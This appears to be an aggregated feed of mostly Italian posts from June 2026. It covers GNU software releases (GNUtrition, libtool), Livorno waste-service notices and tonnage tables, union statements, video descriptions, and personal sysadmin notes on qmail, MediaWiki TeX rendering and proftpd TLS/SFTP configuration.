GNUtrition 0.33 is now released. This marks the first release of GNUtrition since 2012, approximately 14 years ago!

GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.

This release is a complete rewrite of GNUtrition in C rather than Python 2 with a new GTK 3 interface replacing the old GTK 2 one. The Nutrient Database of Standard Reference, which stopped getting updated in 2018, was replaced with the USDA Food and Nutrition Database for Dietary Studies. With help from some test volunteers, the build and installation process was better streamlined to resolve critical issues and difficulties so that GNUtrition can be a better program overall.

Considering the time between releases, GNUtrition currently is not available on OS package repositories (as far as I am aware). If you package software for your operating system's package manager, it would be very helpful if you could start packaging GNUtrition so that it may be even more easily used by people on said systems. If you don't, you may still request to those who do to start including GNUtrition.

Thank you to everyone who tested/used GNUtrition 0.33's release candidates and provided meaningful feedback on its functionality, design, and so on. I would also like to especially thank Jason Self for providing us with the C rewrite in the first place.

More information about GNUtrition may be found on its home page at http://gnu.org/so ... tware/gnutrition/. This release can be obtained from the ftp.gnu.org server at one of the following:

ftp://ftp.gnu.o ... gnu/gnutrition/
http://ftp.gnu.or ... g/gnu/gnutrition/
https://ftp.gnu.o ... g/gnu/gnutrition/

The FTP mirror list is available at https://gnu.or ... order/ftp.html, and https://ftpmirror ... u.org/gnutrition/ will automatically redirect you to a nearby mirror.

Please report any problems you experience to the GNUtrition bug reports mailing list: bug-gnutrition@gnu.org (https://lists.gnu ... fo/bug-gnutrition).

Happy hacking and calorie counting!!

Centro Ambientale Temporaneo (CAT) 06/06/26 aperto in orario mattutino.

5 Giugno 2026 ore 13:34

Centro Ambientale Temporaneo (CAT) 06/06/26 aperto in orario mattutino.

Informiamo i cittadini che sabato 6 giugno il Centro Ambientale Temporaneo di Via dei Cordai effettuerà apertura con orario  9:00 – 12:00.

Il servizio sarà regolarmente attivo per il conferimento delle varie tipologie di rifiuto, nel rispetto delle normative vigenti.

Ricordiamo che i quantitativi e le tipologie di rifiuti accettati saranno quelli previsti dalla tabella.

Per ulteriori informazioni: 800-031.266, info@aamps.livorno.it, facebook/instagram/APP (“AAMPS Livorno”).

L'articolo Centro Ambientale Temporaneo (CAT) 06/06/26 aperto in orario mattutino. proviene da Aamps Livorno.

Tonnellate di rifiuti urbani raccolti e trattati Aprile 2026

5 Giugno 2026 ore 07:59

 

RIFIUTI URBANI TRATTATI Aprile 2026 TOTALE ANNO 2026
Carta e cartoni 725,55 2.999,70
Imballaggi in vetro 438,54 1.650,97
Multimateriale Leggero 669,81 2.620,38
Legno e ingombranti 478,01 1.940,22
Frazione organica e compostabili 1.388,92 5.559,82
RAEE 62,21 238,62
Altre RD 195,10 791,76
Macerie 98,95 370,49
Rifiuto indifferenziato 2.593,58 10.087,94
Totale tonnellate 6.650,67 26.259,90
Efficienza % raccolta differenziata 61,00% 61,58%
Variaz. efficienza % RD su anno 2025 -0,49% -0,87%

 

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Il gruppo criminale cinese TA4922 adesso punta anche all’Europa

4 Giugno 2026 ore 14:52

Un gruppo cybercriminale di lingua cinese fino a poco tempo fa concentrato prevalentemente sul mercato asiatico sta ampliando rapidamente il proprio raggio d’azione verso Europa e Africa. Secondo le analisi pubblicate da Proofpoint, il gruppo chiamato TA4922 ha aumentato sensibilmente il volume delle proprie operazioni nel corso del 2026, prendendo di mira organizzazioni nel Regno […]

L'articolo Il gruppo criminale cinese TA4922 adesso punta anche all’Europa proviene da Securityinfo.it.

libtool @ Savannah: libtool-2.6.1 released [beta]

4 Giugno 2026 ore 20:42

Libtoolers!

The Libtool Team is pleased to announce the release of libtool 2.6.1, a beta release.

GNU Libtool hides the complexity of using shared libraries behind a
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
hides the complexity of loading dynamic runtime libraries (modules)
behind a consistent, portable interface.

There have been 34 commits by 14 people in the 37 weeks since 2.6.0.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

  Alexandre Janniaux (4)
  Alexey Samsonov (1)
  Anthony Mallet (1)
  Arnold (1)
  Dima Pasechnik (1)
  Frederic Berat (1)
  Ileana Dumitrescu (15)
  KO Myung-Hun (4)
  Kirill Makurin (1)
  Mintsuki (1)
  Nicolas Boulenguez (1)
  Olly Betts (1)
  Patrice Dumas (1)
  Richard J. Mathar (1)

Ileana
 [on behalf of the libtool maintainers]
==================================================================

Here is the GNU libtool home page:
    https://gnu. ... g/s/libtool/

Here are the compressed sources:
  https://alpha.gnu ... tool-2.6.1.tar.gz   (2.1MB)
  https://alpha.gnu ... tool-2.6.1.tar.xz   (1.1MB)

Here are the GPG detached signatures:
  https://alpha.gnu ... -2.6.1.tar.gz.sig
  https://alpha.gnu ... -2.6.1.tar.xz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  File: libtool-2.6.1.tar.gz
  SHA256 sum:   52264ab2fca9464dea9f6a0355d39e49b18f40468b9b6dbc3d151a0dba307a4b
  SHA3-256 sum: 59826fb74043179c38a393448b92dfcdfbe9046fd3b23a7079665984f22d6688

  File: libtool-2.6.1.tar.xz
  SHA256 sum:   3fb21f1e99fcdd8565c9b00fb1371db457b82a0da7cba273e1617c954b0ad1ee
  SHA3-256 sum: 614bc3ed43293be989ec3305dae42fc4e81234429477490734a40f6d3316560b

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify libtool-2.6.1.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096 2021-09-23 [SC]
        FA26 CA78 4BE1 8892 7F22  B99F 6570 EA01 146F 7354
  uid   Ileana Dumitrescu <ileanadumitrescu95@gmail.com>
  uid   Ileana Dumitrescu <ileanadumi95@protonmail.com>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key ileanadumitrescu95@gmail.com

  gpg --recv-keys 6570EA01146F7354

  wget -q -O- 'https://savannah. ... ol&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify libtool-2.6.1.tar.gz.sig

This release is based on the libtool git repository, available as

  git clone https://https.git ... g/git/libtool.git

with commit 79de7bb71bc0a1167f4c4ae8bd897976a0ff2b51 tagged as v2.6.1.

For a summary of changes and contributors, see:

  https://gitweb.gi ... shortlog;h=v2.6.1

or run this command from a git-cloned libtool directory:

  git shortlog v2.6.0..v2.6.1

This release was bootstrapped with the following tools:
  Autoconf 2.73
  Automake 1.18.1
  Gnulib 2026-05-12 722f67e9716bf914c18d468336c1f4f9e5cce915

NEWS

  • Noteworthy changes in release 2.6.1 (2026-06-04) [beta]


** New features:

  - Pass 'resource-dir=*' flag for Clang.

  - Recognise explicit shared library arguments when linking dependency
    libraries to a shared library, like exists when linking a program.

  - Support OpenMP with macOS clang by processing '-Xpreprocessor
    -fopenmp' as one token.

** Bug fixes:

  - Store cygpath file path conversions correctly for MSYS2 and MSVC.

  - Fix syntax error in LT_PROG_OBJC and LT_PROG_OBJCXX.

  - Separate Objective C and C++ cache check for proper tagging support.

  - Fix in darwin to support values with spaces.

  - Limit the length of DLL name to 8.3 correctly to avoid corrupting a
    generated DLL on OS/2.

  - Remove unused variable on OS/2, which could cause issues with static
    library generation if defined.

  - Recognise more static linking options for Clang.

  - Fix emscripten CXX postdeps using non-PIC sysroot.

  - Avoid deprecated option '-o' with MSVC compilers and replace with '-Fe'.

  - Avoid overlinking of dependency libraries on ELF systems.

  - Ensure old libraries are not archived.

** Changes in supported systems or compilers:

  - Add support for SlimCC compiler.

  - Add support for *-ironclad-gnu.


Enjoy!

Tonnellate di rifiuti urbani raccolti e trattati Marzo 2026

4 Giugno 2026 ore 15:14

 

RIFIUTI URBANI TRATTATI Marzo 2026 TOTALE ANNO 2026
Carta e cartoni 746,30 2.274,15
Imballaggi in vetro 416,77 1.223,03
Multimateriale Leggero 696,24 1.950,57
Legno e ingombranti 507,91 1.331,09
Frazione organica e compostabili 1.483,17 4.168,26
RAEE 59,65 176,41
Altre RD 207,32 601,03
Macerie 109,62 271,54
Rifiuto indifferenziato 2.494,35 7.499,96
Totale tonnellate 6.721,32 19.496,04
Efficienza % raccolta differenziata 62,89% 61,53%
Variaz. efficienza % RD su anno 2025 +0,6% -1,37%

 

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OLTRE 60 DENUNCIATI E MULTATI PER LA PALESTINA E CONTRO LA GUERRA A PISA: IN PIAZZA C’ERAVAMO TUTTI

4 Giugno 2026 ore 15:11

USB esprime piena solidarietà alle decine di attivisti, studenti, lavoratrici e lavoratori raggiunti da denunce in relazione alle mobilitazioni che negli ultimi anni hanno attraversato Pisa contro la guerra, il riarmo e in sostegno del popolo palestinese.
Le oltre 60 denunce rappresentano un fatto grave che si inserisce in un contesto nazionale caratterizzato da un progressivo irrigidimento delle politiche di ordine pubblico e da una crescente limitazione degli spazi di agibilità democratica e di conflitto sociale. A Pisa, città che è stata protagonista di importanti mobilitazioni contro la guerra e il genocidio del popolo palestinese, l'accanimento repressivo colpisce proprio coloro che hanno animato quelle piazze, dalle iniziative nelle università alle manifestazioni cittadine, fino ai grandi cortei che hanno accompagnato gli scioperi generali promossi da USB il 22 settembre e il 3 ottobre.
E’ stato un autunno incredibile, milioni di persone in piazza in tutta Italia ma ci sono voluti due anni di genocidio in diretta perché questo avvenisse. Attorno agli scioperi generali indetti da USB e dal sindacalismo conflittuale si è sviluppato un movimento di massa che ha unito lavoratori, studenti, precari e realtà sociali sotto la parola d'ordine chiara: "Blocchiamo tutto". Migliaia di persone sono scese in piazza per denunciare il genocidio del popolo palestinese, opporsi alle politiche di guerra, al riarmo e alla complicità del governo italiano con l'escalation militare israeliana. Quelle giornate hanno rappresentato un momento alto di partecipazione popolare e di ricomposizione sociale, dimostrando che esiste nel Paese una larga opposizione alle logiche della guerra e dell'economia di guerra.
È proprio quella forza espressa nelle piazze a essere oggi oggetto di un tentativo di intimidazione. Dietro questa operazione non vediamo soltanto la volontà di perseguire singoli episodi, ma un disegno più ampio volto a colpire chi organizza conflitto sociale, solidarietà internazionale e opposizione alle politiche governative. In una fase segnata dall'aumento delle spese militari, dal peggioramento delle condizioni di vita e di lavoro e dall'inasprirsi dei conflitti internazionali, la risposta delle istituzioni sembra essere sempre più quella della repressione.
Le immagini delle cariche contro gli studenti che manifestavano pacificamente per chiedere la fine del massacro del popolo palestinese restano impresse nella memoria della nostra città. Oggi, a quelle violenze, si aggiunge una nuova offensiva che passa attraverso denunce e procedimenti giudiziari rivolti a chi ha esercitato il diritto di manifestare.
USB ribadisce che la solidarietà al popolo palestinese, il rifiuto della guerra e delle politiche di riarmo, la difesa dei diritti sociali e democratici non possono essere criminalizzati. Le mobilitazioni che hanno attraversato Pisa e il Paese in questi anni hanno rappresentato una risposta concreta alla normalizzazione della guerra e all'indifferenza verso il dramma vissuto dal popolo palestinese. Sono state piazze partecipate, popolari e determinate, che hanno rimesso al centro il valore dell'internazionalismo e della solidarietà tra i popoli, che hanno visto dopo tanti anni migliaia di lavoratrici e lavoratori aderire a uno sciopero politico e scendere in piazza.
Per questo riteniamo fondamentale costruire la più ampia solidarietà nei confronti delle persone colpite dalle denunce, sostenendole sul piano politico e legale. Nelle prossime settimane promuoveremo momenti pubblici di confronto e iniziative di sostegno, coinvolgendo avvocati, associazioni, realtà sociali e sindacali, con l'obiettivo di contrastare l'ondata repressiva e difendere gli spazi di partecipazione democratica.
Di fronte a questo tentativo di intimidazione, la risposta deve essere collettiva. Le decine di migliaia di persone che hanno riempito le piazze dell'autunno contro il genocidio del popolo palestinese e contro la guerra dimostrano che non si può reprimere un movimento che affonda le proprie radici nella giustizia sociale, nella pace e nella solidarietà internazionale.
In quelle piazze c'eravamo tutti. E continueremo ad esserci.

Unione Sindacale di Base - Federazione di Pisa 

ROSIGNANO, AMENDOLARA: LI CHIAMANO INCIDENTI. NOI LI CHIAMIAMO CON IL LORO NOME: OMICIDI SUL LAVORO!

4 Giugno 2026 ore 14:23

Stamattina a Rosignano Solvay un operaio di trent'anni è morto. Caduto dal tetto di un'azienda in via degli Artigiani, dove stava sostituendo pannelli. Il tetto ha ceduto. Era il suo primo giorno di lavoro in quella ditta. Trent'anni. Primo giorno di lavoro. Ucciso sul lavoro.
Ieri, ad Amendolara, in Calabria, sulla Statale 106, quattro braccianti di origine afghana — Waseem, Amin, Ullah e Safi — sono morti carbonizzati all'interno di un'auto, in un'area di servizio. Lavoratori sfruttati, stretti nella morsa del caporalato che da anni controlla la Piana di Sibari. Erano in Italia con regolare permesso di soggiorno da diversi anni. Si trattava di persone, lavoratori, non merce.
Cinque morti in due giorni. E siamo solo al 4 giugno.
Questo è il capitalismo italiano. Questo è il mercato del lavoro che ci vogliono far accettare.
Non si tratta di fatalità, di sfortuna, di circostanze accidentali. Si tratta di un sistema che deliberatamente comprime il costo del lavoro fino all'osso, che trasforma i lavoratori in corpi usa e getta, che scarica sui più deboli, i precari, i migranti, chi non può permettersi di dire no, il rischio di morire per un salario quasi sempre sotto la soglia di povertà. Turni massacranti, paghe misere o nulle, schiavismo. E quando il corpo cede o il tetto crolla, li abbandonano sul ciglio della strada come oggetti consumati.
Il caporalato non è un'anomalia del Sud. La precarietà mortale non è un'anomalia del Nord. Sono le due facce dello stesso sistema: quello che antepone il profitto alla vita, quello che usa la ricattabilità economica come arma di controllo sui lavoratori.
USB rivendica con forza quello che questo sistema nega ogni giorno: il lavoro deve essere sicuro, sempre, per tutti. Questo significa rispetto rigoroso delle norme antinfortunistiche, formazione obbligatoria prima di mettere piede su un cantiere, dispositivi di protezione reali e funzionanti, rappresentanti dei lavoratori per la sicurezza con poteri effettivi, compreso il blocco immediato delle lavorazioni a rischio. E significa responsabilità penale certa per chi uccide risparmiando sulla sicurezza.
C'è poi il nodo legato ai salari che devono essere adeguati a una vita dignitosa. Perché la povertà salariale e la precarietà contrattuale non sono questioni separate dalla sicurezza: sono la stessa questione. Chi è ricattabile sul contratto è ricattabile anche sulla propria incolumità. Chi non può permettersi di rifiutare un lavoro pericoloso, un turno in più, un'ora sul tetto senza protezioni, è un lavoratore che il sistema espone deliberatamente alla morte. La fame è una forma di coercizione e il caporalato ne è l'espressione più brutale.
Sicurezza, stabilità e dignità sul lavoro sono la scelta politica che pretendiamo da chi governa. È inutile che la politica si batta il petto davanti alle bare: dietro ogni morte sul lavoro c'è la sua firma.
USB Toscana esprime il proprio cordoglio alle famiglie di tutti questi lavoratori. Trasformiamo il dolore in rabbia di classe e in lotta organizzata.

Clono un woofer Tannoy con lo scanner 3D Revopoint POP 4 @Revopoint3D​

3 Giugno 2026 ore 19:31

💾

🥼Il Kickstarter sta per terminare! Ultima occasione per ottenere POP 4 a un prezzo esclusivo:
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00:00 Introduzione
01:31 Unboxing del Revopoint Pop 4
03:10 Analisi delle ottiche e dei sensori
04:55 Configurazione software
05:54 Test di scansione: oggetti riflettenti e trasparenti
07:33 Scansione laser ad alta precisione
10:08 Scansione del cono dell'altoparlante
12:15 Risultati della mesh 3D
12:44 Test di stampa 3D e confronto finale
13:19 Funzionamento del laser e conclusioni
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#revopoint #3dscanner #3dscanning #pop4 #3dmodeling #revoscan6

Clono un woofer Tannoy con uno scanner 3D - Revopoint POP 4 @Revopoint3D​

3 Giugno 2026 ore 18:00

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🪛Ecco i link dello scanner!
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BEST FART REACTIONS FROM THE DISNEY WALMART | THE POOTER | MAY, 2026

3 Giugno 2026 ore 18:00

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Business Inquiries: jack@jackvale.com
Official Website: http://jackvale.com

ThinkNode M3 RECENSIONE COMPLETA: il tracker Meshtastic più compatto del 2026?

3 Giugno 2026 ore 12:30

💾

Oggi provo il ThinkNode M3, un tracker compatibile Meshtastic super compatto con GPS integrato, Bluetooth e supporto rete mesh.

Caratteristiche principali:
✅ nRF52840 + LR1110
✅ Compatibile Meshtastic
✅ GPS multi-costellazione
✅ Bluetooth 5.0
✅ IP66
✅ Batteria integrata da circa 760 mAh
✅ Formato ultra compatto

Il ThinkNode M3 promette fino a circa 18 ore di utilizzo con aggiornamenti frequenti e integra GPS, WiFi e BLE per il tracking.

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“Straborgo”: servizi di pulizia e raccolta rifiuti efficaci e puntuali

3 Giugno 2026 ore 11:22

Iacomelli: “Ha funzionato il patto di collaborazione con i cittadini e gli esercenti”. Salvetti: “AAMPS/Retiambiente indispensabile per il successo di tutti i nostri eventi”.

In mezzo alla gente, ma con discrezione ed efficienza. Gli operatori di AAMPS/Retiambiente hanno contribuito alla riuscita dell’evento Straborgo che da venerdì 29 maggio a sabato 1 giugno ha visto migliaia di persone, tra cittadini e turisti, affollare le strade del quartiere. Una presenza continuativa per garantire la pulizia di Piazza Mazzini e delle strade limitrofe e realizzare la raccolta dei rifiuti sia con la vuotatura dei contenitori stradali sia con la raccolta dei materiali differenziati prodotti con quantitativi ingenti dagli esercenti della zona.

“Questa tipologia di manifestazione – commenta Aldo Iacomelli, Amministratore Unico AAMPS/Retiambiente – risulta per noi sempre particolarmente impegnativa soprattutto nel periodo estivo che prevede un’articolazione complessa dei nostri servizi di raccolta e spazzamento. Dobbiamo operare h24 e, allo stesso tempo, districarci tra la folla garantendo sempre le opportune condizioni di sicurezza per i nostri lavoratori e i cittadini. Siamo particolarmente soddisfatti nell’essere riusciti a dare il nostro contributo. Ho il piacere di sottolineare – conclude Iacomelli – la cooperazione che abbiamo riscontrato da parte degli organizzatori, degli abitanti del quartiere e degli esercenti che si sono prodigati per rispettare le regole straordinarie di conferimento dei rifiuti differenziati”.

“Lo dico da sempre – afferma Luca Salvetti, Sindaco di Livorno.  AAMPS/Retiambiente è un’azienda che funziona egregiamente nell’erogazione dei servizi resi alla cittadinanza e questi eventi ne sono la riprova. Senza i puntuali servizi di spazzamento e raccolta dei rifiuti non saremmo qui a parlare del successo di Straborgo. Ringrazio i lavoratori per il consueto impegno profuso, gli abitanti del quartiere per la disponibilità concessa e gli esercenti per avere collaborato al meglio delle rispettive possibilità. Ora sotto con le altre kermesse in programma per la lunga stagione estiva”.

L'articolo “Straborgo”: servizi di pulizia e raccolta rifiuti efficaci e puntuali proviene da Aamps Livorno.

qmail + vpopmail + Dovecot | Roberto's qmail notes

3 Giugno 2026 ore 05:01

Quotando la definizione di D. J. Bernstein

qmail è un mail transfer agent semplice, sicuro ed affidabile. è stato progettato per dei server UNIX connessi alla rete internet

Riferimenti

E' possibile reperire una introduzione più che comprensibile su come funziona un mail server in questa pagina. Anche la  "qmail newbie's guide to relaying" di Chris Johnson (copia locale... è destino che tutto quello che riguarda qmail vada piano piano sparendo) è molto chiara e la sua lettura è fondamentale all'inizio.

Avvertenze

Lo scopo di questa piccola guida NON è insegnare come funziona un server di posta, anche se alla fine si spera che uno che l'abbia seguita riesca ad avere un server funzionante. Questi appunti servono principalmente a ricordare i passi principali da seguire per avere una installazione veloce di qmail e di alcuni software correlati. Ho deciso di scriverla a causa della mancanza di ogni aggiornamento della documentazione riguardante le "distribuzioni" di qmail che mi erano familiari, nella speranza che ciò possa essere di aiuto anche a qualcun altro. Ovviamente il divertimento è stato una componente decisiva.
Pertanto, per conoscere in dettaglio come funziona un mail server, sei invitato a leggere con cura almeno i riferimenti che menzionerò in ogni pagina.

In secondo luogo, NON sono io il responsabile di quello che fai con il tuo server ;-). Usa la mia guida a tuo rischio.

Infine, i commenti, le critiche e i suggerimenti sono sempre benvenuti! :-)

Quale distribuzione?

Questa guida è stata scritta senza una particolare distribuzione Linux in mente. L'ho testata su due miei server di posta virtuali basati su  Slackware, sia a 64 che a 32 bit, e diverse persone là fuori confermano che essa funziona nelle altre distribuzioni Linux più comuni. La compilazione dei miei pacchetti è stata testata anche su piattaforme FreeBSD, OpenBSD, NetBSD.

Un altro toaster?

Se vale la definizione data da Bernstein probabilmente lo è. Tuttavia, a mio modo di vedere, un toaster dovrebbe essere una cosa alla Bill Shupp o alla qmailtoaster, che viene rilasciata insieme a tutti i pacchetti necessari, diversamente da qui. Poichè preferisco lasciare che il visitatore controlli da sè l'esistenza delle ultime versioni dei vari software, direi che questa "cosa" non dovrebbe essere classificata come un toaster. Piuttosto la chiamerei semplicemente "Roberto's qmail notes". Per la verità, sto inserendo qui un paragrafo sul toaster giusto per soddisfare i motori di ricerca, dato che molta gente arriva qui cercando un toaster per qmail.. :-) e ora che ho scritto la parola toaster 5 o 6 volte possiamo veramente iniziare... :-))

Prima di iniziare...

Questi appunti sono stati scritti in inglese e poi tradotti in italiano alla velocità della luce. Si vede, vero? Rileggendo ora, trovo degli strafalcioni e delle traduzioni letterali alla "Google translate"!. Me ne scuso, ma non ho sempre il tempo di fare le cose nel modo migliore..

Licenza

Creative Commons License

Roberto's qmail notes is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.

gnutrition @ Savannah: GNUtrition 0.33.0rc5

2 Giugno 2026 ore 23:04

A test release of GNUtrition, 0.33.0rc5, is now available.

GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.

This release fixes bugs from 0.33.0rc1-rc4, removes inaccurate algorithm constants, removes additional unnecessary dependencies, improves reliability/usability on non-GNU systems, among other general improvements and bug fixes. Version 0.33.0 (the first ftp.gnu.org release of GNUtrition since 2012) is expected to be released by June 5th. Any and all testing for the upcoming release will be greatly appreciated. Please use the bug-gnutrition and help-gnutrition mailing lists for your bug reports and/or other questions.

More information about GNUtrition may be found on its home page at http://www.gnu.or ... tware/gnutrition/. This test release can be obtained from the alpha.gnu.org server at one of the following:

    ftp://alpha.gnu.o ... g/gnu/gnutrition/
    http://alpha.gnu. ... g/gnu/gnutrition/
    https://alpha.gnu ... g/gnu/gnutrition/

Please report any problems you experience to the GNUtrition bug reports mailing list: bug-gnutrition@gnu.org (https://lists.gnu ... fo/bug-gnutrition).

Abilitare Tex su Mediawiki (Slackware)

2 Giugno 2026 ore 18:30

Mediawiki offre la possibilità di inserire formule Tex nelle nostre pagine creando dinamicamente immagini PNG per noi..

Questa pagina vuole richiamare i pacchetti e i principali passi da seguire per far funzionare Tex con MediaWiki in una macchina Slackware. Alla fine presenterò alcune problematiche nell'installzione.

Ghostscript

Ghostscript è già incluso in Slackware (ap/ghostscript e ap/ghostscript-fonts-std)  ma se siamo in un server minimale potresti avere bisogno di installarlo.

libfontconfig

Questa libreria la troviamo all'interno del pacchetto x/fontconfig. E' richesta da ImageMagick.

ImageMagick

wget http://www.imagemagick.org/download/ImageMagick-6.7.6-5.tar.bz2
tar xvfj ImageMagick-6.7.6-5.tar.bz2
cd ImageMagick-6.7.6-5
chown -R root:root .

./configure \
        --without-x \
        --with-png \
        --with-freetype \
	--with-dps \
	--with-gslib
make
make install
ldconfig 

Test

Provare a digitare, dalla linea di comando

/usr/local/bin/convert logo: logo.gif

Se viene generato il file PNG tutto funziona come si deve.

Ocaml

wget http://caml.inria.fr/pub/distrib/ocaml-3.12/ocaml-3.12.0.tar.bz2
tar xjf ocaml-3.12.0.tar.bz2
cd ocaml-3.12.0
chown -R root:root .
./configure
make
make install

dvipng

Download: http://sourceforge.net/projects/dvipng/

Prerequisiti:

  • libgd (l/gd pkg)
  • libXpm (x/libXpm pkg), libxcb (x/libxcb), libXau (x/libXau) and  libXdmcp (x/libXdmcp) che sono prerequisiti di libgd.
  • Kpathsea (incluso nel pacchetto Tex, installare tutto ciò che vi è nel gruppo t/)
  • FreeType (pkg in l/freetype)
  • T1lib (l/t1lib)
  • libpng (l/libpng) and libz (l/zlib)
  • texinfo (ap/tekinfo)
PATH=$PATH:/usr/share/texmf/bin/
export PATH

Ricordare di salvare ciò anche nel profile.

Per evitare problemi nel link di kpathsea configurare come segue

./configure LDFLAGS='-L/usr/share/texmf/lib/' CPPFLAGS='-I/usr/share/texmf/include/'
make
make install

AMS-LaTeX

Senza AMS* alcune formule saranno rese correttamente mentre altre no. Il pacchetto tetex di Slackware contiene già AMS, comunque, nel caso non ce l'avessi:

cd /usr/share/texmf
wget ftp://ftp.ams.org/pub/tex/amslatex.zip
wget ftp://ftp.ams.org/pub/tex/amsrefs/amsrefs.zip
unzip amslatex.zip
unzip amsrefs.zip

dovresti trovarlo in /usr/share/texmf/tex/latex/amsmath/amsmath.sty

Abilitare Tex in Mediawiki

Cambiare directory dove è installato mediawiki, editare LocalSettings.php e decommentare questo:

$wgUseTeX = true;

Compilazione di texvc

cd /path/to/htdocs/mediawiki/math

Prima di compilare, per evitare un parse error, usare il PATH assoluto ovunque all'interno di math/render.ml in questo modo:

let cmd_dvips tmpprefix = "/usr/share/texmf/bin/dvips -q -R -E " ^ tmpprefix ^ ".dvi -f >" ^ tmpprefix ^ ".ps"
let cmd_latex tmpprefix = "/usr/share/texmf/bin/latex " ^ tmpprefix ^ ".tex >/dev/null"
(* Putting -transparent white in converts arguments will sort-of give you transperancy *)
let cmd_convert tmpprefix finalpath = "/usr/local/bin/convert -quality 100 -density 120 " ^ tmpprefix ^ ".ps " ^ finalpath ^ " >/dev/null 2>/tmp/wiki_convert_error"
(* Putting -bg Transparent in dvipng's arguments will give full-alpha transparency *)
(* Note that IE have problems with such PNGs and need an additional javascript snippet *)
(* Putting -bg transparent in dvipng's arguments will give binary transparency *)
let cmd_dvipng tmpprefix finalpath backcolor = "/usr/local/bin/dvipng -bg \'" ^ backcolor ^ "\' -gamma 1.5 -D 120 -T tight --strict " ^ tmpprefix ^ ".dvi -o " ^ finalpath ^ " >/dev/null 2>/tmp/wiki_dvipng_error"

Ora compiliamo

make

Problematiche

Provare a mettere dentro una pagina wiki qualcosa come

0

e cerchiamo di vedere cosa succede. Questo è il messaggio di errore più frequente:

Failed to parse (PNG conversion failed; check for correct installation of latex, dvips, gs, and convert)

Controlliamo se gli eseguibili sono nel path:

# ls -lH `which gs` `which latex` `which dvips` `which convert`
-rwxr-xr-x 1 root root 5977916 2008-12-05 23:36 /usr/bin/gs*
-rwxr-xr-x 1 root root   23410 2010-11-21 15:22 /usr/local/bin/convert*
-rwxr-xr-x 1 root root  209308 2007-06-28 04:51 /usr/share/texmf/bin/dvips*
-rwxr-xr-x 1 root root 1010984 2007-06-28 04:51 /usr/share/texmf/bin/latex*

Abilitiamo il log degli errori. Inserire una linea come questa in LocalSettings.php

$wgDebugLogFile = "/tmp/wiki.log";

Apriamo questo file e cerchiamo una riga come questa ;

TeX: ./math/texvc '/path/to/htdocs/mediawiki/images/tmp' '/path/to/htdocs/mediawiki/images/tmp' '0' 'UTF-8' 'transparent'
TeX output:
 Ccfcd208495d565ef66e7dff9f98764da0 0
---

Cerchiamo ora di eseguire il comando texvc dalla linea di comando come utente apache:

cd math
sudo -u apache ./texvc '../images/tmp' '../images/tmp' '0' 'UTF-8' 'transparent'

a controlliamo il PNG nella cartella images/tmp. Se si ottiene ancora un parse error, si ricontrolli il path assoluto in math/render.ml, e si ricompili. E si rileggano le referenze indicate.

Configurazione di proftpd con mod_tls o mod_sftp

2 Giugno 2026 ore 18:30

Ecco come ho installato mod_tls (ftpes) e mod_sftp in proftpd. I miei tentativi di farli convivere in due demoni separati sono tutti falliti, giacchè ho registrato errori nel trasferimento che sono spariti solo quando ho provato a caricare mod_tls o mod_sftp a turno.

Questi i miei test sulla velocità (per la verità un po' frettolosi). ftpes sembra un pochino più veloce in modalità upload:

ftpes
upload: circa 22.4 K/s
download: più di 800 K/s

sftp
upload circa 18.2 K/s
download: più di 800 K/s

Le mie opzioni di configurazione:

./configure \
        --prefix=/usr/local \
        --without-pam --disable-auth-pam \
        --enable-openssl \
        --with-modules=mod_ratio:mod_readme:mod_sftp:mod_tls

file ftpes.conf

# common stuff goes here
Include /usr/local/etc/proftpd/proftpd.conf

<IfModule mod_tls.c>
TLSEngine on
PassivePorts 49152 65535
#MasqueradeAddress 012.345.678.901 # se il server e' dietro un firewall
TLSLog /var/log/proftpd/tls.log
TLSProtocol SSLv23
# Require protection on the control channel, but reject protection of the data channel
TLSRequired ctrl+!data
TLSRSACertificateFile /usr/local/etc/ssl/certs/proftpd.pem
TLSRSACertificateKeyFile /usr/local/etc/ssl/certs/proftpd.pem
TLSVerifyClient off
TLSRenegotiate none
</IfModule>

file sftp.conf

# common stuff
Include /usr/local/etc/proftpd/proftpd.conf

<IfModule mod_sftp.c>
SFTPEngine on
SFTPLog /var/log/proftpd/sftp.log
Port 22
SFTPHostKey /etc/ssh/ssh_host_rsa_key
SFTPHostKey /etc/ssh/ssh_host_dsa_key
SFTPCompression delayed
MaxLoginAttempts 6
</IfModule>

Infine avviare il demone richiamando il file di configurazione desiderato:

/usr/local/sbin/proftpd -c /usr/local/etc/proftpd/ftpes.conf # se si vuole ftpes
/usr/local/sbin/proftpd -c /usr/local/etc/proftpd/sftp.conf  # se si preferisce sftp

Non avviarli mai insieme.

file proftpd.conf

ServerType standalone
UseReverseDNS off
DeferWelcome off

Port 21
Umask 022
MaxInstances 30

User ftp
Group ftp

SystemLog /var/log/proftpd/proftpd.log
TransferLog /var/log/proftpd/xferlog

<Global>

<Directory /*>
AllowOverwrite on
</Directory>

</Global>

<VirtualHost 123.456.789.123>

ServerName "ProFTPD"
DefaultRoot ~/www
DefaultServer on

</VirtualHost>

Startup script

#!/bin/sh
#
# /etc/rc.d/rc.proftpd
#

start() {
        /usr/local/sbin/proftpd -c /usr/local/etc/proftpd/ftpes.conf
#-n -d 20 for backup
#        /usr/local/sbin/proftpd -c /usr/local/etc/proftpd/sftp.conf
        echo "Server started."
}

stop() {
        /bin/killall proftpd
        echo "Server stopped."
}

restart() {
        stop
sleep 3
        start
#/bin/killall -HUP proftpd
